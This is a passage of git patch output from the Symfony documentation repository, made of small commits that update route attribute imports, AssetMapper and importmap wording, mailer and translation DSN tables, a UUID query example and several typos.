@@ -1112,7 +1112,7 @@ create a controller for this path:
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class ApiLoginController extends AbstractController
     {
diff --git a/security/login_link.rst b/security/login_link.rst
index 160327cabbc..faa1d353514 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -87,7 +87,7 @@ intercept requests to this route:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class SecurityController extends AbstractController
         {
@@ -148,7 +148,7 @@ this interface::
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
     use Symfony\Component\Security\Http\LoginLink\LoginLinkHandlerInterface;
 
     class SecurityController extends AbstractController
diff --git a/service_container.rst b/service_container.rst
index b627c772949..edb61fac2de 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -30,7 +30,7 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p
     use Psr\Log\LoggerInterface;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class ProductController extends AbstractController
     {
@@ -117,7 +117,7 @@ inside your controller::
     use App\Service\MessageGenerator;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class ProductController extends AbstractController
     {
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index e20d0357f4f..1352f03475a 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -126,7 +126,7 @@ Now, you can use the ``TwitterClient`` service immediately in a controller::
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
+    use Symfony\Component\Routing\Attribute\Route;
 
     class DefaultController extends AbstractController
     {
diff --git a/templates.rst b/templates.rst
index 529f09b2a78..d8558c5872a 100644
--- a/templates.rst
+++ b/templates.rst
@@ -192,7 +192,7 @@ Consider the following routing configuration:
 
         // ...
         use Symfony\Component\HttpFoundation\Response;
-        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController
         {

From 55616d8d0e8d689e5bacb571afb325e15089d71d Mon Sep 17 00:00:00 2001
From: Neil Peyssard <neil.peyssard@sensiolabs.com>
Date: Mon, 4 Mar 2024 09:47:16 +0100
Subject: [PATCH 5870/7107] [HttpKernel] Explain how to define default value in
 MapQueryString

---
 controller.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/controller.rst b/controller.rst
index 40ed6bfc07f..6bd1b4184da 100644
--- a/controller.rst
+++ b/controller.rst
@@ -451,6 +451,24 @@ HTTP status to return if the validation fails::
 
 The default status code returned if the validation fails is 404.
 
+If the request query string is empty and if you still need to have a valid DTO, you can
+define a default value in your controller method::
+
+    use App\Model\UserDto;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapQueryString;
+
+    // ...
+
+    public function dashboard(
+        #[MapQueryString] UserDTO $userDto = new UserDTO()
+    ): Response
+    {
+        // ...
+    }
+
+In this case your DTO should have default values.
+
 .. versionadded:: 6.3
 
     The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute

From c2153664b0a257182e1778f23646452eabdd0282 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 4 Mar 2024 11:53:56 +0100
Subject: [PATCH 5871/7107] [AssetMapper] Recommending `Cache-Control` instead
 of `Expires` HTTP header

Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html#optimizing-performance

See https://github.com/symfony/symfony-docs/issues/19626#issuecomment-1975368600
---
 frontend/asset_mapper.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 42c39811b04..355b774ed01 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -640,10 +640,10 @@ which will automatically do most of these things for you:
   enable `auto minify`_ to further compress your assets (e.g. removing
   whitespace and comments from JavaScript and CSS files).
 
-- **Set long-lived Expires headers**: Your web server should set long-lived
-  ``Expires`` HTTP headers on your assets. Because the AssetMapper component includes a version
-  hash in the filename of each asset, you can safely set the ``Expires`` header
-  to a very long time in the future (e.g. 1 year). This isn't automatic in
+- **Set long-lived cache expiry**: Your web server should set a long-lived
+  ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version
+  hash in the filename of each asset, you can safely set ``max-age``
+  to a very long time (e.g. 1 year). This isn't automatic in
   any web server, but can be easily enabled.
 
 Once you've done these things, you can use a tool like `Lighthouse`_ to

From b1157a6822b7a965c4d3c085d9d714eb668803db Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 4 Mar 2024 16:40:34 +0100
Subject: [PATCH 5872/7107] [AssetMapper] Removing duplication

Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html#importing-3rd-party-javascript-packages

Reason: The command was in the text and then again in the code block.
---
 frontend/asset_mapper.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 42c39811b04..222f7f59a76 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -217,8 +217,7 @@ Now you can import the ``bootstrap`` package like usual:
 
 All packages in ``importmap.php`` are downloaded into an ``assets/vendor/`` directory,
 which should be ignored by git (the Flex recipe adds it to ``.gitignore`` for you).
-You'll need to run the ``php bin/console importmap:install``
-command to download the files on other computers if some are missing:
+To intialize your project on another computer, you'll need to run:
 
 .. code-block:: terminal
 

From 26d27b13451e258548415333cfd86f0d478453ba Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 4 Mar 2024 16:45:22 +0100
Subject: [PATCH 5873/7107] [AssetMapper] Merging `outdated` and `update`

Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html#importing-3rd-party-javascript-packages

Reason: No need for 2 code blocks containing almost the same.
---
 frontend/asset_mapper.rst | 17 +++++------------
 1 file changed, 5 insertions(+), 12 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 42c39811b04..996e18af2e1 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -228,30 +228,23 @@ command to download the files on other computers if some are missing:
 
     The ``importmap:install`` command was introduced in Symfony 6.4.
 
-You can check for available updates for your third-party packages by running:
+You can update your third-party packages to their current versions by running:
 
 .. code-block:: terminal
 
     # check for updates for all packages
     $ php bin/console importmap:outdated
+    # update them
+    $ php bin/console importmap:update
 
-    # check for updates for the given list of packages
+    # only for the given list of packages
+    $ php bin/console importmap:update bootstrap lodash
     $ php bin/console importmap:outdated bootstrap lodash
 
 .. versionadded:: 6.4
 
     The ``importmap:outdated`` command was introduced in Symfony 6.4.
 
-To update third-party packages in your ``importmap.php`` file, run:
-
-.. code-block:: terminal
-
-    # updates all packages
-    $ php bin/console importmap:update
-
-    # updates only the given list of packages
-    $ php bin/console importmap:update bootstrap lodash
-
 How does the importmap Work?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 28d99f772051b4206d804c726e3633cac3b01fc5 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 3 Mar 2024 17:20:30 +0100
Subject: [PATCH 5874/7107] [AssetMapper] Shortening "Optimizing Performance"

---
 frontend/asset_mapper.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 42c39811b04..047f5161c8b 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -635,8 +635,7 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  Or, proxy your site through a service like Cloudflare, which will
-  automatically compress your assets for you. In Cloudflare, you can also
+  In Cloudflare, you can also
   enable `auto minify`_ to further compress your assets (e.g. removing
   whitespace and comments from JavaScript and CSS files).
 
@@ -658,7 +657,7 @@ Performance: Understanding Preloading
 
     Automatic preloading of JavaScript files was introduced in Symfony 6.4.
 
-One issue that LightHouse may report is:
+One issue that Lighthouse may report is:
 
     Avoid Chaining Critical Requests
 

From 669921f3564f3042c8d8967771bd39ec5e2ce6dd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Mar 2024 17:11:43 +0100
Subject: [PATCH 5875/7107] Minor tweak

---
 frontend/asset_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 047f5161c8b..e72dd6c509d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -635,7 +635,7 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  In Cloudflare, you can also
+  In Cloudflare, assets are compressed by default and you can also
   enable `auto minify`_ to further compress your assets (e.g. removing
   whitespace and comments from JavaScript and CSS files).
 

From 4f253a5cee202f28f5c83b1eb809615c0270233d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Mar 2024 17:16:33 +0100
Subject: [PATCH 5876/7107] Reword

---
 frontend/asset_mapper.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index c71a3c44209..32087405871 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -217,7 +217,8 @@ Now you can import the ``bootstrap`` package like usual:
 
 All packages in ``importmap.php`` are downloaded into an ``assets/vendor/`` directory,
 which should be ignored by git (the Flex recipe adds it to ``.gitignore`` for you).
-To intialize your project on another computer, you'll need to run:
+You'll need to run the following command to download the files on other computers
+if some are missing:
 
 .. code-block:: terminal
 

From 8afb4022a17a88334bc2100fab2f6ae01dacd34c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Mar 2024 17:28:14 +0100
Subject: [PATCH 5877/7107] Tweaks

---
 frontend/asset_mapper.rst | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 0c5dea52d37..88e1ccdb281 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -224,26 +224,23 @@ if some are missing:
 
     $ php bin/console importmap:install
 
-.. versionadded:: 6.4
-
-    The ``importmap:install`` command was introduced in Symfony 6.4.
-
 You can update your third-party packages to their current versions by running:
 
 .. code-block:: terminal
 
-    # check for updates for all packages
+    # lists outdated packages and shows their latest versions
     $ php bin/console importmap:outdated
-    # update them
+    # updates all the outdated packages
     $ php bin/console importmap:update
 
-    # only for the given list of packages
+    # you can also run the commands only for the given list of packages
     $ php bin/console importmap:update bootstrap lodash
     $ php bin/console importmap:outdated bootstrap lodash
 
 .. versionadded:: 6.4
 
-    The ``importmap:outdated`` command was introduced in Symfony 6.4.
+    The ``importmap:install`` and ``importmap:outdated`` commands were introduced
+    in Symfony 6.4.
 
 How does the importmap Work?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From d566ad44e6ba669621367b4d3ca7637794c3d4c4 Mon Sep 17 00:00:00 2001
From: Francis Hilaire <Prometee@users.noreply.github.com>
Date: Wed, 28 Feb 2024 16:53:14 +0100
Subject: [PATCH 5878/7107] PostgreSQL setparameter() compatibility

Using PostgreSQL, Doctrine will use UUID field type. If you don't specify the parameter type it will try to send a string instead of the binary content and fail with an error :

```
SQLSTATE[22021]: Character not in repertoire: 7 ERROR:  invalid byte sequence for encoding \"UTF8\": ...
CONTEXT:  unnamed portal parameter $1
```
---
 components/uid.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index f27977a8296..8febdc1ff88 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -285,6 +285,7 @@ of the UUID parameters::
     // src/Repository/ProductRepository.php
 
     // ...
+    use Doctrine\DBAL\ParameterType;
     use Symfony\Bridge\Doctrine\Types\UuidType;
 
     class ProductRepository extends ServiceEntityRepository
@@ -300,7 +301,8 @@ of the UUID parameters::
 
                 // alternatively, you can convert it to a value compatible with
                 // the type inferred by Doctrine
-                ->setParameter('user', $user->getUuid()->toBinary())
+                // Note: ParameterType::BINARY is required to query PostgreSQL
+                ->setParameter('user', $user->getUuid()->toBinary(), ParameterType::BINARY)
             ;
 
             // ...

From 99a0a12a4e6a82dc87e178eb930bc8c09b7955c2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Mar 2024 10:27:41 +0100
Subject: [PATCH 5879/7107] [Uid] Remove an unneeded comment

---
 components/uid.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/components/uid.rst b/components/uid.rst
index 8febdc1ff88..6ae9e0f504c 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -301,7 +301,6 @@ of the UUID parameters::
 
                 // alternatively, you can convert it to a value compatible with
                 // the type inferred by Doctrine
-                // Note: ParameterType::BINARY is required to query PostgreSQL
                 ->setParameter('user', $user->getUuid()->toBinary(), ParameterType::BINARY)
             ;
 

From f5e545fd7f6640673f7f9524227fbc7934f172d2 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 5 Mar 2024 11:41:48 +0100
Subject: [PATCH 5880/7107] remove outdated directive

---
 frontend/asset_mapper.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 8815126dd26..31bbf3718c9 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -233,11 +233,6 @@ You can update your third-party packages to their current versions by running:
     $ php bin/console importmap:update bootstrap lodash
     $ php bin/console importmap:outdated bootstrap lodash
 
-.. versionadded:: 6.4
-
-    The ``importmap:install`` and ``importmap:outdated`` commands were introduced
-    in Symfony 6.4.
-
 How does the importmap Work?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 62349a4fb6efb93d1826ab52472a06f72e4f2a7f Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 5 Mar 2024 11:54:22 +0100
Subject: [PATCH 5881/7107] add phrase in translation providers dsn list

---
 translation.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/translation.rst b/translation.rst
index 5b0deada0fc..a8329a38f2a 100644
--- a/translation.rst
+++ b/translation.rst
@@ -646,6 +646,7 @@ Provider               DSN
 Crowdin                crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
 Loco (localise.biz)    loco://API_KEY@default
 Lokalise               lokalise://PROJECT_ID:API_KEY@default
+Phrase                 phrase://PROJECT_ID:API_TOKEN@default?userAgent=myProject
 =====================  ==========================================================
 
 To enable a translation provider, customize the DSN in your ``.env`` file and

From aef4f7426a77d8a55aa2f7536ad9218b33ed340f Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 5 Mar 2024 12:03:47 +0100
Subject: [PATCH 5882/7107] format dsn in translation documentation

---
 translation.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/translation.rst b/translation.rst
index db44c43e568..412d3aa3c5e 100644
--- a/translation.rst
+++ b/translation.rst
@@ -632,13 +632,13 @@ pull translations via Loco. The *only* part you need to change is the
 
 This table shows the full list of available DSN formats for each provider:
 
-=====================  ==========================================================
+=====================  ==============================================================
 Provider               DSN
-=====================  ==========================================================
-Crowdin                crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
-Loco (localise.biz)    loco://API_KEY@default
-Lokalise               lokalise://PROJECT_ID:API_KEY@default
-=====================  ==========================================================
+=====================  ==============================================================
+Crowdin                ``crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default``
+Loco (localise.biz)    ``loco://API_KEY@default``
+Lokalise               ``lokalise://PROJECT_ID:API_KEY@default``
+=====================  ==============================================================
 
 To enable a translation provider, customize the DSN in your ``.env`` file and
 configure the ``providers`` option:

From 93a3d050d6b8cd5f255d76f023e5a3ba5d37279f Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 5 Mar 2024 12:07:35 +0100
Subject: [PATCH 5883/7107] format dsn in mailer documentation

---
 mailer.rst | 102 ++++++++++++++++++++++++++---------------------------
 1 file changed, 51 insertions(+), 51 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 527fa3d3871..be404a134ab 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -173,57 +173,57 @@ transport, but you can force to use one:
 This table shows the full list of available DSN formats for each third
 party provider:
 
-+------------------------+-----------------------------------------------------+
-| Provider               | Formats                                             |
-+========================+=====================================================+
-| `Amazon SES`_          | - SMTP ses+smtp://USERNAME:PASSWORD@default         |
-|                        | - HTTP ses+https://ACCESS_KEY:SECRET_KEY@default    |
-|                        | - API ses+api://ACCESS_KEY:SECRET_KEY@default       |
-+------------------------+-----------------------------------------------------+
-| `Brevo`_               | - SMTP brevo+smtp://USERNAME:PASSWORD@default       |
-|                        | - HTTP n/a                                          |
-|                        | - API brevo+api://KEY@default                       |
-+------------------------+-----------------------------------------------------+
-| `Google Gmail`_        | - SMTP gmail+smtp://USERNAME:APP-PASSWORD@default   |
-|                        | - HTTP n/a                                          |
-|                        | - API n/a                                           |
-+------------------------+-----------------------------------------------------+
-| `Infobip`_             | - SMTP infobip+smtp://KEY@default                   |
-|                        | - HTTP n/a                                          |
-|                        | - API infobip+api://KEY@BASE_URL                    |
-+------------------------+-----------------------------------------------------+
-| `Mandrill`_            | - SMTP mandrill+smtp://USERNAME:PASSWORD@default    |
-|                        | - HTTP mandrill+https://KEY@default                 |
-|                        | - API mandrill+api://KEY@default                    |
-+------------------------+-----------------------------------------------------+
-| `MailerSend`_          | - SMTP mailersend+smtp://KEY@default                |
-|                        | - HTTP n/a                                          |
-|                        | - API mailersend+api://KEY@BASE_URL                 |
-+------------------------+-----------------------------------------------------+
-| `Mailgun`_             | - SMTP mailgun+smtp://USERNAME:PASSWORD@default     |
-|                        | - HTTP mailgun+https://KEY:DOMAIN@default           |
-|                        | - API mailgun+api://KEY:DOMAIN@default              |
-+------------------------+-----------------------------------------------------+
-| `Mailjet`_             | - SMTP mailjet+smtp://ACCESS_KEY:SECRET_KEY@default |
-|                        | - HTTP n/a                                          |
-|                        | - API mailjet+api://ACCESS_KEY:SECRET_KEY@default   |
-+------------------------+-----------------------------------------------------+
-| `MailPace`_            | - SMTP mailpace+api://API_TOKEN@default             |
-|                        | - HTTP n/a                                          |
-|                        | - API mailpace+api://API_TOKEN@default              |
-+------------------------+-----------------------------------------------------+
-| `Postmark`_            | - SMTP postmark+smtp://ID@default                   |
-|                        | - HTTP n/a                                          |
-|                        | - API postmark+api://KEY@default                    |
-+------------------------+-----------------------------------------------------+
-| `Scaleway`_            | - SMTP scaleway+smtp://PROJECT_ID:API_KEY@default   |
-|                        | - HTTP n/a                                          |
-|                        | - API scaleway+api://PROJECT_ID:API_KEY@default     |
-+------------------------+-----------------------------------------------------+
-| `Sendgrid`_            | - SMTP sendgrid+smtp://KEY@default                  |
-|                        | - HTTP n/a                                          |
-|                        | - API sendgrid+api://KEY@default                    |
-+------------------------+-----------------------------------------------------+
++------------------------+---------------------------------------------------------+
+| Provider               | Formats                                                 |
++========================+=========================================================+
+| `Amazon SES`_          | - SMTP ``ses+smtp://USERNAME:PASSWORD@default``         |
+|                        | - HTTP ``ses+https://ACCESS_KEY:SECRET_KEY@default``    |
+|                        | - API ``ses+api://ACCESS_KEY:SECRET_KEY@default``       |
++------------------------+---------------------------------------------------------+
+| `Brevo`_               | - SMTP ``brevo+smtp://USERNAME:PASSWORD@default``       |
+|                        | - HTTP n/a                                              |
+|                        | - API ``brevo+api://KEY@default``                       |
++------------------------+---------------------------------------------------------+
+| `Google Gmail`_        | - SMTP ``gmail+smtp://USERNAME:APP-PASSWORD@default``   |
+|                        | - HTTP n/a                                              |
+|                        | - API n/a                                               |
++------------------------+---------------------------------------------------------+
+| `Infobip`_             | - SMTP ``infobip+smtp://KEY@default``                   |
+|                        | - HTTP n/a                                              |
+|                        | - API ``infobip+api://KEY@BASE_URL``                    |
++------------------------+---------------------------------------------------------+
+| `Mandrill`_            | - SMTP ``mandrill+smtp://USERNAME:PASSWORD@default``    |
+|                        | - HTTP ``mandrill+https://KEY@default``                 |
+|                        | - API ``mandrill+api://KEY@default``                    |
++------------------------+---------------------------------------------------------+
+| `MailerSend`_          | - SMTP ``mailersend+smtp://KEY@default``                |
+|                        | - HTTP n/a                                              |
+|                        | - API ``mailersend+api://KEY@BASE_URL``                 |
++------------------------+---------------------------------------------------------+
+| `Mailgun`_             | - SMTP ``mailgun+smtp://USERNAME:PASSWORD@default``     |
+|                        | - HTTP ``mailgun+https://KEY:DOMAIN@default``           |
+|                        | - API ``mailgun+api://KEY:DOMAIN@default``              |
++------------------------+---------------------------------------------------------+
+| `Mailjet`_             | - SMTP ``mailjet+smtp://ACCESS_KEY:SECRET_KEY@default`` |
+|                        | - HTTP n/a                                              |
+|                        | - API ``mailjet+api://ACCESS_KEY:SECRET_KEY@default``   |
++------------------------+---------------------------------------------------------+
+| `MailPace`_            | - SMTP ``mailpace+api://API_TOKEN@default``             |
+|                        | - HTTP n/a                                              |
+|                        | - API ``mailpace+api://API_TOKEN@default``              |
++------------------------+---------------------------------------------------------+
+| `Postmark`_            | - SMTP ``postmark+smtp://ID@default``                   |
+|                        | - HTTP n/a                                              |
+|                        | - API ``postmark+api://KEY@default``                    |
++------------------------+---------------------------------------------------------+
+| `Scaleway`_            | - SMTP ``scaleway+smtp://PROJECT_ID:API_KEY@default``   |
+|                        | - HTTP n/a                                              |
+|                        | - API ``scaleway+api://PROJECT_ID:API_KEY@default``     |
++------------------------+---------------------------------------------------------+
+| `Sendgrid`_            | - SMTP ``sendgrid+smtp://KEY@default``                  |
+|                        | - HTTP n/a                                              |
+|                        | - API ``sendgrid+api://KEY@default``                    |
++------------------------+---------------------------------------------------------+
 
 .. versionadded:: 6.3
 

From a96aafe92f06c9c36aedd3f4289bf38496cab4e7 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 5 Mar 2024 19:17:02 +0100
Subject: [PATCH 5884/7107] fix typo in notifier doc

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index ae1ac4ab740..fe3f0ff0ea5 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -831,8 +831,8 @@ Using Events
 The :class:`Symfony\\Component\\Notifier\\Transport` class of the Notifier component
 allows you to optionally hook into the lifecycle via events.
 
-The ``MessageEvent::class`` Event
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+The ``MessageEvent`` Event
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **Typical Purposes**: Doing something before the message is sent (like logging
 which message is going to be sent, or displaying something about the event

From e0a732ba67e8d0a95d78d3f65eeabd3c9dd3b20c Mon Sep 17 00:00:00 2001
From: Giovanni Gioffreda <giovanni.gioffreda@gmail.com>
Date: Fri, 8 Mar 2024 08:51:56 +1300
Subject: [PATCH 5885/7107] Remove "click here" from links

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index f5609ae394a..398dced44e4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -784,7 +784,7 @@ Then, create the template:
     <p><code>{{ email.to[0].address }}</code></p>
 
     <p>
-        <a href="#">Click here to activate your account</a>
+        <a href="#">Activate your account</a>
         (this link is valid until {{ expiration_date|date('F jS') }})
     </p>
 
@@ -1005,7 +1005,7 @@ the entire email contents from Markdown to HTML:
         You signed up to our site using the following email:
         `{{ email.to[0].address }}`
 
-        [Click here to activate your account]({{ url('...') }})
+        [Activate your account]({{ url('...') }})
     {% endapply %}
 
 .. _mailer-inky:

From 43bd627881bed7969f67fe98738b647402dad932 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Mar 2024 09:03:37 +0100
Subject: [PATCH 5886/7107] Minor tweak

---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 8b256cecbbf..761a8fd190e 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -15,8 +15,8 @@ The component has two main features:
 
 * :ref:`Mapping & Versioning Assets <mapping-assets>`: All files inside of ``assets/``
   are made available publicly and **versioned**. You can reference the file
-  ``assets/images/product.jpeg`` in a Twig template with ``{{ asset('images/product.jpeg') }}``.
-  The final URL will include a version hash, like ``/assets/images/product-3c16d9220694c0e56d8648f25e6035e9.jpeg``.
+  ``assets/images/product.jpg`` in a Twig template with ``{{ asset('images/product.jpg') }}``.
+  The final URL will include a version hash, like ``/assets/images/product-3c16d9220694c0e56d8648f25e6035e9.jpg``.
 
 * :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier
   to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``)

From 351f981b794a634f28580df8de1cddbf5f66e4f2 Mon Sep 17 00:00:00 2001
From: Valerio Colella <31210514+PrOF-kk@users.noreply.github.com>
Date: Fri, 8 Mar 2024 17:56:36 +0100
Subject: [PATCH 5887/7107] Fix missing backtick

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 398dced44e4..8f231be4520 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -247,7 +247,7 @@ Provider              SMTP                                                     H
 .. note::
 
     The specific transports, e.g. ``mailgun+smtp`` are designed to work without any manual configuration.
-    Changing the port by appending it to your DSN is not supported for any of these ``<provider>+smtp` transports.
+    Changing the port by appending it to your DSN is not supported for any of these ``<provider>+smtp`` transports.
     If you need to change the port, use the ``smtp`` transport instead, like so:
 
     .. code-block:: env

From effeaf7a38f949722ad319222a5c9c69d2f4c0b8 Mon Sep 17 00:00:00 2001
From: Simon <smn.andre@gmail.com>
Date: Sat, 9 Mar 2024 08:55:33 +0100
Subject: [PATCH 5888/7107] Replace Webpack with AssetMapper

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 3ba9b9f59a5..05de5856878 100644
--- a/templates.rst
+++ b/templates.rst
@@ -330,7 +330,7 @@ Build, Versioning & More Advanced CSS, JavaScript and Image Handling
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 For help building, versioning and minifying your JavaScript and
-CSS assets in a modern way, read about :doc:`Symfony's Webpack Encore </frontend>`.
+CSS assets in a modern way, read about :doc:`Symfony's Asset Mapper </frontend>`.
 
 .. _twig-app-variable:
 

From 826615a830fee0c70c9d1d240ba7a9ef21070008 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 11 Mar 2024 08:10:44 +0100
Subject: [PATCH 5889/7107] keep use statement for the Response class

---
 quick_tour/flex_recipes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index c058008b84a..856b4271205 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -80,7 +80,7 @@ Thanks to Flex, after one command, you can start using Twig immediately:
       namespace App\Controller;
 
       use Symfony\Component\Routing\Attribute\Route;
-    - use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     - class DefaultController

From ea8efb0d8d05684afd0bdc2ab71dfbbe014973c8 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 11 Mar 2024 08:16:57 +0100
Subject: [PATCH 5890/7107] update method names to reflect latest code changes

---
 components/clock.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index d3879fba84e..45ec484eef5 100644
--- a/components/clock.rst
+++ b/components/clock.rst
